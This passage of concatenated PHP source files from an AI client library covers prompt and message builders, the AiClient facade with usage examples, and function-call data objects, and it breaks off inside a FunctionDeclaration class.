return $this->convertTextToSpeechResult()->toFiles();
}
/**
* Generates speech from the prompt.
*
* @since 0.1.0
*
* @return File The generated speech audio file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function generateSpeech(): File
{
return $this->generateSpeechResult()->toFile();
}
/**
* Generates multiple speech outputs from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of speech outputs to generate.
* @return list The generated speech audio files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function generateSpeeches(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateSpeechResult()->toFiles();
}
/**
* Generates a video from the prompt.
*
* @since 1.3.0
*
* @return File The generated video file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no video is generated.
*/
public function generateVideo(): File
{
return $this->generateVideoResult()->toFile();
}
/**
* Generates multiple videos from the prompt.
*
* @since 1.3.0
*
* @param int|null $candidateCount The number of videos to generate.
* @return list The generated video files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no videos are generated.
*/
public function generateVideos(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateVideoResult()->toFiles();
}
/**
* Appends a MessagePart to the messages array.
*
* If the last message has a user role, the part is added to it.
* Otherwise, a new UserMessage is created with the part.
*
* @since 0.1.0
*
* @param MessagePart $part The part to append.
* @return void
*/
protected function appendPartToMessages(MessagePart $part): void
{
$lastMessage = end($this->messages);
if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) {
// Replace the last message with a new one containing the appended part
array_pop($this->messages);
$this->messages[] = $lastMessage->withPart($part);
return;
}
// Create new UserMessage with the part
$this->messages[] = new UserMessage([$part]);
}
/**
* Gets the model to use for generation.
*
* If a model has been explicitly set, validates it meets requirements and returns it.
* Otherwise, finds a suitable model based on the prompt requirements.
*
* @since 0.1.0
*
* @param CapabilityEnum $capability The capability the model will be using.
* @return ModelInterface The model to use.
* @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements.
*/
private function getConfiguredModel(CapabilityEnum $capability): ModelInterface
{
$requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
if ($this->model !== null) {
// Explicit model was provided via usingModel(); just update config and bind dependencies.
$model = $this->model;
$model->setConfig($this->modelConfig);
$this->registry->bindModelDependencies($model);
$this->bindModelRequestOptions($model);
return $model;
}
// Retrieve the candidate models map which satisfies the requirements.
$candidateMap = $this->getCandidateModelsMap($requirements);
if (empty($candidateMap)) {
$message = sprintf('No models found that support %s for this prompt.', $capability->value);
if ($this->providerIdOrClassName !== null) {
$message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value);
}
throw new InvalidArgumentException($message);
}
// Check if any preferred models match the candidates, in priority order.
if (!empty($this->modelPreferenceKeys)) {
// Find preferences that match available candidates, preserving preference order.
$matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap);
if (!empty($matchingPreferences)) {
// Get the first matching preference key
$firstMatchKey = key($matchingPreferences);
[$providerId, $modelId] = $candidateMap[$firstMatchKey];
$model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
$this->bindModelRequestOptions($model);
return $model;
}
}
// No preference matched; fall back to the first candidate discovered.
[$providerId, $modelId] = reset($candidateMap);
$model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
$this->bindModelRequestOptions($model);
return $model;
}
/**
* Binds configured request options to the model if present and supported.
*
* Request options are only applicable to API-based models that make HTTP requests.
*
* @since 0.3.0
*
* @param ModelInterface $model The model to bind request options to.
* @return void
*/
private function bindModelRequestOptions(ModelInterface $model): void
{
if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) {
$model->setRequestOptions($this->requestOptions);
}
}
/**
* Builds a map of candidate models that satisfy the requirements for efficient lookup.
*
* @since 0.2.0
*
* @param ModelRequirements $requirements The requirements derived from the prompt.
* @return array Map of preference keys to [providerId, modelId] tuples.
*/
private function getCandidateModelsMap(ModelRequirements $requirements): array
{
if ($this->providerIdOrClassName === null) {
// No provider locked in, gather all models across providers that meet requirements.
$providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements);
$candidateMap = [];
foreach ($providerModelsMetadata as $providerModels) {
$providerId = $providerModels->getProvider()->getId();
$providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels());
// Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys)
$candidateMap = $candidateMap + $providerMap;
}
return $candidateMap;
}
// Provider set, only consider models from that provider.
$modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements);
// Ensure we pass the provider ID, not the class name
$providerId = $this->registry->getProviderId($this->providerIdOrClassName);
return $this->generateMapFromCandidates($providerId, $modelsMetadata);
}
/**
* Generates a candidate map from model metadata with both provider-specific and model-only keys.
*
* @since 0.2.0
*
* @param string $providerId The provider ID.
* @param list $modelsMetadata The models metadata to map.
* @return array Map of preference keys to [providerId, modelId] tuples.
*/
private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array
{
$map = [];
foreach ($modelsMetadata as $modelMetadata) {
$modelId = $modelMetadata->getId();
// Add provider-specific key
$providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
$map[$providerModelKey] = [$providerId, $modelId];
// Add model-only key
$modelKey = $this->createModelPreferenceKey($modelId);
$map[$modelKey] = [$providerId, $modelId];
}
return $map;
}
/**
* Normalizes and validates a preference identifier string.
*
* @since 0.2.0
*
* @param mixed $value The value to normalize.
* @param string $emptyMessage The message for empty or invalid values.
* @return string The normalized identifier.
*
* @throws InvalidArgumentException If the value is not a non-empty string.
*/
private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string
{
if (!is_string($value)) {
throw new InvalidArgumentException($emptyMessage);
}
$trimmed = trim($value);
if ($trimmed === '') {
throw new InvalidArgumentException($emptyMessage);
}
return $trimmed;
}
/**
* Creates a preference key for a provider/model combination.
*
* @since 0.2.0
*
* @param string $providerId The provider identifier.
* @param string $modelId The model identifier.
* @return string The generated preference key.
*/
private function createProviderModelPreferenceKey(string $providerId, string $modelId): string
{
return 'providerModel::' . $providerId . '::' . $modelId;
}
/**
* Creates a preference key for a model identifier.
*
* @since 0.2.0
*
* @param string $modelId The model identifier.
* @return string The generated preference key.
*/
private function createModelPreferenceKey(string $modelId): string
{
return 'model::' . $modelId;
}
/**
* Parses various input types into a Message with the given role.
*
* @since 0.1.0
*
* @param mixed $input The input to parse.
* @param MessageRoleEnum $defaultRole The role for the message if not specified by input.
* @return Message The parsed message.
* @throws InvalidArgumentException If the input type is not supported or results in empty message.
*/
private function parseMessage($input, MessageRoleEnum $defaultRole): Message
{
// Handle Message input directly
if ($input instanceof Message) {
return $input;
}
// Handle single MessagePart
if ($input instanceof MessagePart) {
return new Message($defaultRole, [$input]);
}
// Handle string input
if (is_string($input)) {
if (trim($input) === '') {
throw new InvalidArgumentException('Cannot create a message from an empty string.');
}
return new Message($defaultRole, [new MessagePart($input)]);
}
// Handle array input
if (!is_array($input)) {
throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.');
}
// Handle MessageArrayShape input
if (Message::isArrayShape($input)) {
return Message::fromArray($input);
}
// Check if it's a MessagePartArrayShape
if (MessagePart::isArrayShape($input)) {
return new Message($defaultRole, [MessagePart::fromArray($input)]);
}
// It should be a list of string|MessagePart|MessagePartArrayShape
if (!array_is_list($input)) {
throw new InvalidArgumentException('Array input must be a list array.');
}
// Empty array check
if (empty($input)) {
throw new InvalidArgumentException('Cannot create a message from an empty array.');
}
$parts = [];
foreach ($input as $item) {
if (is_string($item)) {
$parts[] = new MessagePart($item);
} elseif ($item instanceof MessagePart) {
$parts[] = $item;
} elseif (is_array($item) && MessagePart::isArrayShape($item)) {
$parts[] = MessagePart::fromArray($item);
} else {
throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.');
}
}
return new Message($defaultRole, $parts);
}
/**
* Validates the messages array for prompt generation.
*
* Ensures that:
* - The first message is a user message
* - The last message is a user message
* - The last message has parts
*
* @since 0.1.0
*
* @return void
* @throws InvalidArgumentException If validation fails.
*/
private function validateMessages(): void
{
if (empty($this->messages)) {
throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.');
}
$firstMessage = reset($this->messages);
if (!$firstMessage->getRole()->isUser()) {
throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value);
}
$lastMessage = end($this->messages);
if (!$lastMessage->getRole()->isUser()) {
throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value);
}
if (empty($lastMessage->getParts())) {
throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.');
}
}
/**
* Checks if the value is a list of Message objects.
*
* @since 0.1.0
*
* @param mixed $value The value to check.
* @return bool True if the value is a list of Message objects.
*
* @phpstan-assert-if-true list $value
*/
private function isMessagesList($value): bool
{
if (!is_array($value) || empty($value) || !array_is_list($value)) {
return \false;
}
// Check if all items are Messages
foreach ($value as $item) {
if (!$item instanceof Message) {
return \false;
}
}
return \true;
}
/**
* Includes output modalities if not already present.
*
* Adds the given modalities to the output modalities list if they're not
* already included. If output modalities is null, initializes it with
* the given modalities.
*
* @since 0.1.0
*
* @param ModalityEnum ...$modalities The modalities to include.
* @return void
*/
private function includeOutputModalities(ModalityEnum ...$modalities): void
{
$existing = $this->modelConfig->getOutputModalities();
// Initialize if null
if ($existing === null) {
$this->modelConfig->setOutputModalities($modalities);
return;
}
// Build a set of existing modality values for O(1) lookup
$existingValues = [];
foreach ($existing as $existingModality) {
$existingValues[$existingModality->value] = \true;
}
// Add new modalities that don't exist
$toAdd = [];
foreach ($modalities as $modality) {
if (!isset($existingValues[$modality->value])) {
$toAdd[] = $modality;
}
}
// Update if we have new modalities to add
if (!empty($toAdd)) {
$this->modelConfig->setOutputModalities(array_merge($existing, $toAdd));
}
}
/**
* Dispatches an event if an event dispatcher is registered.
*
* @since 0.4.0
*
* @param object $event The event to dispatch.
* @return void
*/
private function dispatchEvent(object $event): void
{
if ($this->eventDispatcher !== null) {
$this->eventDispatcher->dispatch($event);
}
}
}
Builders/MessageBuilder.php 0000644 00000014672 15207673127 0011745 0 ustar 00 The parts that make up the message.
*/
protected array $parts = [];
/**
* Constructor.
*
* @since 0.2.0
*
* @param Input $input Optional initial content.
* @param MessageRoleEnum|null $role Optional role.
*/
public function __construct($input = null, ?MessageRoleEnum $role = null)
{
$this->role = $role;
if ($input === null) {
return;
}
// Handle different input types
if ($input instanceof MessagePart) {
$this->parts[] = $input;
} elseif (is_string($input)) {
$this->withText($input);
} elseif ($input instanceof File) {
$this->withFile($input);
} elseif ($input instanceof FunctionCall) {
$this->withFunctionCall($input);
} elseif ($input instanceof FunctionResponse) {
$this->withFunctionResponse($input);
} elseif (is_array($input) && MessagePart::isArrayShape($input)) {
$this->parts[] = MessagePart::fromArray($input);
} else {
throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, File, FunctionCall, or FunctionResponse.');
}
}
/**
* Creates a deep clone of this builder.
*
* Clones all MessagePart objects in the parts array to ensure
* the cloned builder is independent of the original.
*
* @since 0.4.2
*/
public function __clone()
{
// Deep clone parts array (MessagePart has __clone)
$clonedParts = [];
foreach ($this->parts as $part) {
$clonedParts[] = clone $part;
}
$this->parts = $clonedParts;
// Note: $role is an enum value object and can be safely shared
}
/**
* Sets the role of the message sender.
*
* @since 0.2.0
*
* @param MessageRoleEnum $role The role to set.
* @return self
*/
public function usingRole(MessageRoleEnum $role): self
{
$this->role = $role;
return $this;
}
/**
* Sets the role to user.
*
* @since 0.2.0
*
* @return self
*/
public function usingUserRole(): self
{
return $this->usingRole(MessageRoleEnum::user());
}
/**
* Sets the role to model.
*
* @since 0.2.0
*
* @return self
*/
public function usingModelRole(): self
{
return $this->usingRole(MessageRoleEnum::model());
}
/**
* Adds text content to the message.
*
* @since 0.2.0
*
* @param string $text The text to add.
* @return self
* @throws InvalidArgumentException If the text is empty.
*/
public function withText(string $text): self
{
if (trim($text) === '') {
throw new InvalidArgumentException('Text content cannot be empty.');
}
$this->parts[] = new MessagePart($text);
return $this;
}
/**
* Adds a file to the message.
*
* Accepts:
* - File object
* - URL string (remote file)
* - Base64-encoded data string
* - Data URI string (data:mime/type;base64,data)
* - Local file path string
*
* @since 0.2.0
*
* @param string|File $file The file to add.
* @param string|null $mimeType Optional MIME type (ignored if File object provided).
* @return self
* @throws InvalidArgumentException If the file is invalid.
*/
public function withFile($file, ?string $mimeType = null): self
{
$file = $file instanceof File ? $file : new File($file, $mimeType);
$this->parts[] = new MessagePart($file);
return $this;
}
/**
* Adds a function call to the message.
*
* @since 0.2.0
*
* @param FunctionCall $functionCall The function call to add.
* @return self
*/
public function withFunctionCall(FunctionCall $functionCall): self
{
$this->parts[] = new MessagePart($functionCall);
return $this;
}
/**
* Adds a function response to the message.
*
* @since 0.2.0
*
* @param FunctionResponse $functionResponse The function response to add.
* @return self
*/
public function withFunctionResponse(FunctionResponse $functionResponse): self
{
$this->parts[] = new MessagePart($functionResponse);
return $this;
}
/**
* Adds multiple message parts to the message.
*
* @since 0.2.0
*
* @param MessagePart ...$parts The message parts to add.
* @return self
*/
public function withMessageParts(MessagePart ...$parts): self
{
foreach ($parts as $part) {
$this->parts[] = $part;
}
return $this;
}
/**
* Builds and returns the Message object.
*
* @since 0.2.0
*
* @return Message The built message.
* @throws InvalidArgumentException If the message validation fails.
*/
public function get(): Message
{
if (empty($this->parts)) {
throw new InvalidArgumentException('Cannot build an empty message. Add content using withText() or similar methods.');
}
if ($this->role === null) {
throw new InvalidArgumentException('Cannot build a message with no role. Set a role using usingRole() or similar methods.');
}
// At this point, we've validated that $this->role is not null
/** @var MessageRoleEnum $role */
$role = $this->role;
return new Message($role, $this->parts);
}
}
AiClient.php 0000644 00000041720 15207673127 0006763 0 ustar 00 getProvider('openai')->getModel('gpt-4');
* $result = AiClient::generateTextResult('What is PHP?', $model);
* ```
*
* ### 2. ModelConfig for Auto-Discovery
* Use ModelConfig to specify requirements and let the system discover the best model:
* ```php
* $config = new ModelConfig();
* $config->setTemperature(0.7);
* $config->setMaxTokens(150);
*
* $result = AiClient::generateTextResult('What is PHP?', $config);
* ```
*
* ### 3. Automatic Discovery (Default)
* Pass null or omit the parameter for intelligent model discovery based on prompt content:
* ```php
* // System analyzes prompt and selects appropriate model automatically
* $result = AiClient::generateTextResult('What is PHP?');
* $imageResult = AiClient::generateImageResult('A sunset over mountains');
* ```
*
* ## Fluent API Examples
* ```php
* // Fluent API with automatic model discovery
* $result = AiClient::prompt('Generate an image of a sunset')
* ->usingTemperature(0.7)
* ->generateImageResult();
*
* // Fluent API with specific model
* $result = AiClient::prompt('What is PHP?')
* ->usingModel($specificModel)
* ->usingTemperature(0.5)
* ->generateTextResult();
*
* // Fluent API with model configuration
* $result = AiClient::prompt('Explain quantum physics')
* ->usingModelConfig($config)
* ->generateTextResult();
* ```
*
* @since 0.1.0
*
* @phpstan-import-type Prompt from PromptBuilder
*
* phpcs:ignore Generic.Files.LineLength.TooLong
*/
class AiClient
{
/**
* @var string The version of the AI Client.
*/
public const VERSION = '1.3.1';
/**
* @var ProviderRegistry|null The default provider registry instance.
*/
private static ?ProviderRegistry $defaultRegistry = null;
/**
* @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
*/
private static ?EventDispatcherInterface $eventDispatcher = null;
/**
* @var CacheInterface|null The PSR-16 cache for storing and retrieving cached data.
*/
private static ?CacheInterface $cache = null;
/**
* Gets the default provider registry instance.
*
* @since 0.1.0
*
* @return ProviderRegistry The default provider registry.
*/
public static function defaultRegistry(): ProviderRegistry
{
if (self::$defaultRegistry === null) {
self::$defaultRegistry = new ProviderRegistry();
}
return self::$defaultRegistry;
}
/**
* Sets the event dispatcher for prompt lifecycle events.
*
* The event dispatcher will be used to dispatch BeforeGenerateResultEvent and
* AfterGenerateResultEvent during prompt generation.
*
* @since 0.4.0
*
* @param EventDispatcherInterface|null $dispatcher The event dispatcher, or null to disable.
* @return void
*/
public static function setEventDispatcher(?EventDispatcherInterface $dispatcher): void
{
self::$eventDispatcher = $dispatcher;
}
/**
* Gets the event dispatcher for prompt lifecycle events.
*
* @since 0.4.0
*
* @return EventDispatcherInterface|null The event dispatcher, or null if not set.
*/
public static function getEventDispatcher(): ?EventDispatcherInterface
{
return self::$eventDispatcher;
}
/**
* Sets the PSR-16 cache for storing and retrieving cached data.
*
* The cache can be used to store AI responses and other data to avoid
* redundant API calls and improve performance.
*
* @since 0.4.0
*
* @param CacheInterface|null $cache The PSR-16 cache instance, or null to disable caching.
* @return void
*/
public static function setCache(?CacheInterface $cache): void
{
self::$cache = $cache;
}
/**
* Gets the PSR-16 cache instance.
*
* @since 0.4.0
*
* @return CacheInterface|null The cache instance, or null if not set.
*/
public static function getCache(): ?CacheInterface
{
return self::$cache;
}
/**
* Checks if a provider is configured and available for use.
*
* Supports multiple input formats for developer convenience:
* - ProviderAvailabilityInterface: Direct availability check
* - string (provider ID): e.g., AiClient::isConfigured('openai')
* - string (class name): e.g., AiClient::isConfigured(OpenAiProvider::class)
*
* When using string input, this method leverages the ProviderRegistry's centralized
* dependency management, ensuring HttpTransporter and authentication are properly
* injected into availability instances.
*
* @since 0.1.0
* @since 0.2.0 Now supports being passed a provider ID or class name.
*
* @param ProviderAvailabilityInterface|string|class-string $availabilityOrIdOrClassName
* The provider availability instance, provider ID, or provider class name.
* @return bool True if the provider is configured and available, false otherwise.
*/
public static function isConfigured($availabilityOrIdOrClassName): bool
{
// Handle direct ProviderAvailabilityInterface (backward compatibility)
if ($availabilityOrIdOrClassName instanceof ProviderAvailabilityInterface) {
return $availabilityOrIdOrClassName->isConfigured();
}
// Handle string input (provider ID or class name) via registry
if (is_string($availabilityOrIdOrClassName)) {
return self::defaultRegistry()->isProviderConfigured($availabilityOrIdOrClassName);
}
throw new \InvalidArgumentException('Parameter must be a ProviderAvailabilityInterface instance, provider ID string, or provider class name. ' . sprintf('Received: %s', is_object($availabilityOrIdOrClassName) ? get_class($availabilityOrIdOrClassName) : gettype($availabilityOrIdOrClassName)));
}
/**
* Creates a new prompt builder for fluent API usage.
*
* Returns a PromptBuilder instance configured with the specified or default registry.
* The traditional API methods in this class delegate to PromptBuilder
* for all generation logic.
*
* @since 0.1.0
*
* @param Prompt $prompt Optional initial prompt content.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return PromptBuilder The prompt builder instance.
*/
public static function prompt($prompt = null, ?ProviderRegistry $registry = null): PromptBuilder
{
return new PromptBuilder($registry ?? self::defaultRegistry(), $prompt, self::$eventDispatcher);
}
/**
* Generates content using a unified API that automatically detects model capabilities.
*
* When no model is provided, this method delegates to PromptBuilder for intelligent
* model discovery based on prompt content and configuration. When a model is provided,
* it infers the capability from the model's interfaces and delegates to the capability-based method.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig $modelOrConfig Specific model to use, or model configuration
* for auto-discovery.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the provided model doesn't support any known generation type.
* @throws \RuntimeException If no suitable model can be found for the prompt.
*/
public static function generateResult($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateResult();
}
/**
* Generates text using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateTextResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateTextResult();
}
/**
* Generates an image using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateImageResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateImageResult();
}
/**
* Converts text to speech using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function convertTextToSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->convertTextToSpeechResult();
}
/**
* Generates speech using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateSpeechResult();
}
/**
* Generates a video using the traditional API approach.
*
* @since 1.3.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateVideoResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateVideoResult();
}
/**
* Creates a new message builder for fluent API usage.
*
* This method will be implemented once MessageBuilder is available.
* MessageBuilder will provide a fluent interface for constructing complex
* messages with multiple parts, attachments, and metadata.
*
* @since 0.1.0
*
* @param string|null $text Optional initial message text.
* @return object MessageBuilder instance (type will be updated when MessageBuilder is available).
*
* @throws \RuntimeException When MessageBuilder is not yet available.
*/
public static function message(?string $text = null)
{
throw new RuntimeException('MessageBuilder is not yet available. This method depends on builder infrastructure. ' . 'Use direct generation methods (generateTextResult, generateImageResult, etc.) for now.');
}
/**
* Validates that parameter is ModelInterface, ModelConfig, or null.
*
* @param mixed $modelOrConfig The parameter to validate.
* @return void
* @throws \InvalidArgumentException If parameter is invalid type.
*/
private static function validateModelOrConfigParameter($modelOrConfig): void
{
if ($modelOrConfig !== null && !$modelOrConfig instanceof ModelInterface && !$modelOrConfig instanceof ModelConfig) {
throw new InvalidArgumentException('Parameter must be a ModelInterface instance (specific model), ' . 'ModelConfig instance (for auto-discovery), or null (default auto-discovery). ' . sprintf('Received: %s', is_object($modelOrConfig) ? get_class($modelOrConfig) : gettype($modelOrConfig)));
}
}
/**
* Configures PromptBuilder based on model/config parameter type.
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig The model or config parameter.
* @param ProviderRegistry|null $registry Optional custom registry to use.
* @return PromptBuilder Configured prompt builder.
*/
private static function getConfiguredPromptBuilder($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): PromptBuilder
{
$builder = self::prompt($prompt, $registry);
if ($modelOrConfig instanceof ModelInterface) {
$builder->usingModel($modelOrConfig);
} elseif ($modelOrConfig instanceof ModelConfig) {
$builder->usingModelConfig($modelOrConfig);
}
// null case: use default model discovery
return $builder;
}
}
Tools/DTO/FunctionResponse.php 0000644 00000007313 15207673127 0012325 0 ustar 00
*/
class FunctionResponse extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_RESPONSE = 'response';
/**
* @var string|null The ID of the function call this is responding to.
*/
private ?string $id;
/**
* @var string|null The name of the function that was called.
*/
private ?string $name;
/**
* @var mixed The response data from the function.
*/
private $response;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string|null $id The ID of the function call this is responding to.
* @param string|null $name The name of the function that was called.
* @param mixed $response The response data from the function.
* @throws InvalidArgumentException If neither id nor name is provided.
*/
public function __construct(?string $id, ?string $name, $response)
{
if ($id === null && $name === null) {
throw new InvalidArgumentException('At least one of id or name must be provided.');
}
$this->id = $id;
$this->name = $name;
$this->response = $response;
}
/**
* Gets the function call ID.
*
* @since 0.1.0
*
* @return string|null The function call ID.
*/
public function getId(): ?string
{
return $this->id;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string|null The function name.
*/
public function getName(): ?string
{
return $this->name;
}
/**
* Gets the function response.
*
* @since 0.1.0
*
* @return mixed The response data.
*/
public function getResponse()
{
return $this->response;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The ID of the function call this is responding to.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function that was called.'], self::KEY_RESPONSE => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The response data from the function.']], 'anyOf' => [['required' => [self::KEY_RESPONSE, self::KEY_ID]], ['required' => [self::KEY_RESPONSE, self::KEY_NAME]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionResponseArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->id !== null) {
$data[self::KEY_ID] = $this->id;
}
if ($this->name !== null) {
$data[self::KEY_NAME] = $this->name;
}
$data[self::KEY_RESPONSE] = $this->response;
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_RESPONSE]);
return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_RESPONSE]);
}
}
Tools/DTO/FunctionCall.php 0000644 00000007133 15207673127 0011402 0 ustar 00
*/
class FunctionCall extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_ARGS = 'args';
/**
* @var string|null Unique identifier for this function call.
*/
private ?string $id;
/**
* @var string|null The name of the function to call.
*/
private ?string $name;
/**
* @var mixed The arguments to pass to the function.
*/
private $args;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string|null $id Unique identifier for this function call.
* @param string|null $name The name of the function to call.
* @param mixed $args The arguments to pass to the function.
* @throws InvalidArgumentException If neither id nor name is provided.
*/
public function __construct(?string $id = null, ?string $name = null, $args = null)
{
if ($id === null && $name === null) {
throw new InvalidArgumentException('At least one of id or name must be provided.');
}
$this->id = $id;
$this->name = $name;
$this->args = $args;
}
/**
* Gets the function call ID.
*
* @since 0.1.0
*
* @return string|null The function call ID.
*/
public function getId(): ?string
{
return $this->id;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string|null The function name.
*/
public function getName(): ?string
{
return $this->name;
}
/**
* Gets the function arguments.
*
* @since 0.1.0
*
* @return mixed The function arguments.
*/
public function getArgs()
{
return $this->args;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this function call.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function to call.'], self::KEY_ARGS => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The arguments to pass to the function.']], 'anyOf' => [['required' => [self::KEY_ID]], ['required' => [self::KEY_NAME]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionCallArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->id !== null) {
$data[self::KEY_ID] = $this->id;
}
if ($this->name !== null) {
$data[self::KEY_NAME] = $this->name;
}
if ($this->args !== null) {
$data[self::KEY_ARGS] = $this->args;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_ARGS] ?? null);
}
}
Tools/DTO/FunctionDeclaration.php 0000644 00000007005 15207673127 0012752 0 ustar 00
* }
*
* @extends AbstractDataTransferObject
*/
class FunctionDeclaration extends AbstractDataTransferObject
{
public const KEY_NAME = 'name';
public const KEY_DESCRIPTION = 'description';
public const KEY_PARAMETERS = 'parameters';
/**
